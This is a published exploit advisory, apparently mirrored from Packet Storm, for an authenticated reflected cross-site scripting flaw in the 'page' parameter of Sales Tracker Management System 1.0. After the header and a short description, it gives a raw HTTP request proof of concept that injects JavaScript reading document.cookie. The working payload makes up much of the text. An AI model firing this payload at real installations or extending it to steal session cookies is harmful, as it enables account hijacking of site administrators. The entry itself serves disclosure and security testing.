Exploit for Sales Tracker Management System 1.0 Cross Site Scripting

## https://sploitus.com/exploit?id=PACKETSTORM:171466
# Exploit Title: Sales Tracker Management System - Cross Site Scripting Vulnerability (Authenticated)  
# Date: 23/03/2023  
# Exploit Author: Abdulhakim Öner  
# Vendor Homepage: https://www.sourcecodester.com  
# Software Link: https://www.sourcecodester.com/php/16061/sales-tracker-management-system-using-php-free-source-code.html  
# Software Download: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-sts_0.zip  
# Version: 1.0  
# Tested on: Windows, Linux  
  
## Description   
A reflected Cross Site Scripting vulnerability in the "page" parameter in Sales Tracker Management System allows remote authenticated users to execute JavaScript code.   
  
## Request PoC  
```  
GET /php-sts/admin/?page=clients'%3balert(document.cookie)%2f%2f HTTP/1.1  
Host: 192.168.1.100  
Accept-Encoding: gzip, deflate  
Accept: */*  
Accept-Language: en-US;q=0.9,en;q=0.8  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36  
Connection: close  
Cache-Control: max-age=0  
Referer: http://192.168.1.100/php-sts/admin/  
Cookie: PHPSESSID=n0brm8te79kaf0nvf7d1hvs6rm  
  
```